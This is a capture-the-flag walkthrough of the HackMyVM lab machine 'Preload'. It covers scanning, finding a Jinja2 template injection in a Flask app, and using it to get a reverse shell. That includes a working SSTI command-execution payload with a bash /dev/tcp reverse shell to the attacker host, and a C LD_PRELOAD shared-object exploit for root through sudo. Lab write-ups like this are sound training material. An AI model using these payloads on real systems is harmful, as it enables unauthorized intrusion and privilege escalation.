Preload – Writeup – HackMyVM – Walkthrough
Preload is an easy machine by my friend avijneyam from the HackMyVM platform. There are only two exploits one need to understand to get to theinitial root of the machine. Also, there are error messages in the web app that help us proceed forward. If you like my writeups, please consider tipping me in Ko-fi. “Preload – Writeup – HackMyVM – Walkthrough”
Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Preload
Step 1: Get the IP address
Firstly, we have to identify the IP address of the target machine. For this, both the attacker and the target machine should be on the same network.
┌──(kali㉿kali)-[~/hackmyvm/preload]
└─$ fping -aqg 10.0.0.0/24
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.8
Here, the IP address of the target is 10.0.0.8 and that of my Kali machine is 10.0.0.4.
Step 2: Nmap scan
Next, we have to scan the open ports on the target using Nmap.
┌──(kali㉿kali)-[~/hackmyvm/preload]
└─$ nmap -T4 -sC -sV -p- -oN nmap.log 10.0.0.8
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-19 17:45 +0545
Nmap scan report for 10.0.0.8
Host is up (0.0027s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 4f:4c:82:94:2b:99:f8:ea:67:ff:67:3c:06:8a:71:b5 (RSA)
| 256 c4:2c:9b:c8:12:93:2f:8a:f1:57:1c:f6:ab:88:b9:61 (ECDSA)
|_ 256 10:18:7b:11:c4:c3:d4:1a:54:cc:18:68:14:bb:2e:a7 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0
5000/tcp open landesk-rc LANDesk remote management
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Here, we can see two HTTP services running on ports 80 and 5000.
Step 3: Enumerate the webserver at port 80
Firstly, I checked port 80 for any hints. The source page revealed the possibility of an SSTI (Server Side Template Injection) attack.
<p>For online documentation and support please refer to
<a href="/?multiply=7*7">notnginx.org</a>.<br/>
If you are familiar with CTF machines, we basically test with number 7 (I don’t know why.) for SSTI. Also, we do this multiplication to check the presence of an SSTI vulnerability. This also gives us an idea that port 5000 might have applications utilizing templating engines. Some examples include jinja2 for python, pug for node.js, thymeleaf for java, etc.
Step 4: Enumerate the webserver at port 5000
When we visit the website at port 5000, it continues loading. However, if we visit it again in a new tab, it shows an error stack trace of a flask app.
* Serving Flask app 'code' (lazy loading)
* Environment: production
[31m WARNING: This is a development server. Do not use it in a production deployment.[0m
[2m Use a production WSGI server instead.[0m
* Debug mode: off
Traceback (most recent call last):
File "/home/paul/code.py", line 18, in <module>
app.run(host="0.0.0.0", port=50000)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 920, in run
run_simple(t.cast(str, host), port, self, **options)
File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 1010, in run_simple
inner()
File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 950, in inner
srv = make_server(
File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 782, in make_server
return ThreadedWSGIServer(
File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 688, in __init__
super().__init__(server_address, handler) # type: ignore
File "/usr/lib/python3.9/socketserver.py", line 452, in __init__
self.server_bind()
File "/usr/lib/python3.9/http/server.py", line 138, in server_bind
socketserver.TCPServer.server_bind(self)
File "/usr/lib/python3.9/socketserver.py", line 466, in server_bind
self.socket.bind(self.server_address)
OSError: [Errno 98] Address already in use
In the end, we can see an error “Address already in use”. This refers to the command at the top ” app.run(host=”0.0.0.0″, port=50000)”.
We can observe that it opens another port 50000 for a flask application. Also, port 5000 looks like a place from where we can view the logs of port 50000.
Step 5: Check the webserver at port 50000
Instantly, we get an exception at the running port 5000 when we visit port 50000.
[2022-01-19 07:13:45,929] ERROR in app: Exception on / [GET]
Traceback (most recent call last):
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 2073, in wsgi_app
response = self.full_dispatch_request()
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1518, in full_dispatch_request
rv = self.handle_user_exception(e)
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1516, in full_dispatch_request
rv = self.dispatch_request()
File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 1502, in dispatch_request
return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
File "/home/paul/code.py", line 10, in _
result = render_template_string(_get)
File "/usr/local/lib/python3.9/dist-packages/flask/templating.py", line 165, in render_template_string
return _render(ctx.app.jinja_env.from_string(source), context, ctx.app)
File "/usr/local/lib/python3.9/dist-packages/jinja2/environment.py", line 1092, in from_string
return cls.from_code(self, self.compile(source), gs, None)
File "/usr/local/lib/python3.9/dist-packages/jinja2/environment.py", line 750, in compile
source = self._generate(source, name, filename, defer_init=defer_init)
File "/usr/local/lib/python3.9/dist-packages/jinja2/environment.py", line 678, in _generate
return generate( # type: ignore
File "/usr/local/lib/python3.9/dist-packages/jinja2/compiler.py", line 112, in generate
raise TypeError("Can't compile non template nodes")
TypeError: Can't compile non template nodes
If you look at the stack trace properly, there is a line that shows from where this error originated in the file.
File "/home/paul/code.py", line 10, in _
result = render_template_string(_get)
The above line gave us hints about the username of the target machine. Likewise, _get looks like a variable that would hold a GET parameter. So, we can proceed to fuzz the parameters.
Step 6: Fuzz GET parameter
┌──(kali㉿kali)-[~/hackmyvm/preload]
└─$ ffuf -ic -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://10.0.0.8:50000/?FUZZ=anything'
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://10.0.0.8:50000/?FUZZ=anything
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
cmd [Status: 200, Size: 8, Words: 1, Lines: 1]
Here, we can see that “cmd” is the GET parameter that returns the input to the user.
http://10.0.0.8:50000/?cmd={{7*7}}
-> 49
When we open the website as above, it returns the calculated value indicating SSTI.
Step 7: Reverse shell using SSTI
Now, the final step to foothold is to spawn a reverse shell. For this, I listen at port 9001.
┌──(kali㉿kali)-[~/hackmyvm/preload]
└─$ nc -nlvp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
The main this is the payload in this exploit. In payload all the things, there are many payloads.
The first one allows us to execute any commands from another GET parameter “input”. Obviously, we have to URL encode the whole thing. So, I suggest using the burp suite for this matter.
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

Finally, for my case, I have to enter the following site for the reverse shell.
/?cmd={%25+for+x+in+().__class__.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%25endif%25}{%25endfor%25}&input=bash+-c+'bash+-i+>%26/dev/tcp/10.0.0.4/9001+0>%261'
This gave me the reverse shell.
┌──(kali㉿kali)-[~/hackmyvm/preload]
└─$ nc -nlvp 9001
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.0.0.8.
Ncat: Connection from 10.0.0.8:44312.
bash: cannot set terminal process group (317): Inappropriate ioctl for device
bash: no job control in this shell
paul@preload:/$
Lastly, I upgraded the reverse shell.
Upgrade to an intelligent reverse shell
Step 8: Sudo environment misconfiguration
paul@preload:~$ sudo -l
Matching Defaults entries for paul on preload:
env_reset, mail_badpass, env_keep+=LD_PRELOAD, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User paul may run the following commands on preload:
(root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail, /usr/bin/head, /usr/bin/ss
paul@preload:~$
When we look at the sudo permissions, there is a configuration “env_keep+=LD_PRELOAD”. This means that whatever is in the variable “LD_PRELOAD” of the current user, will be preserved for the sudo command. The following post clearly explains the feature or exploit whatever you like to say.
Reference: https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
I saved this file as “exploit.c”. Then, I compiled this as follows.
paul@preload:/tmp$ gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles
Lastly, I executed the sudo exploit.
paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/exploit.so ss
root@preload:/tmp# cd
root@preload:~# id
uid=0(root) gid=0(root) groups=0(root)
root@preload:~# echo nepcodex.com; md5sum /etc/shadow
nepcodex.com
65b6c51865ff1d93ed67c45d50680a41 /etc/shadow
root@preload:~#
Also read: Writeup of Pwned HackMyVM – Walkthrough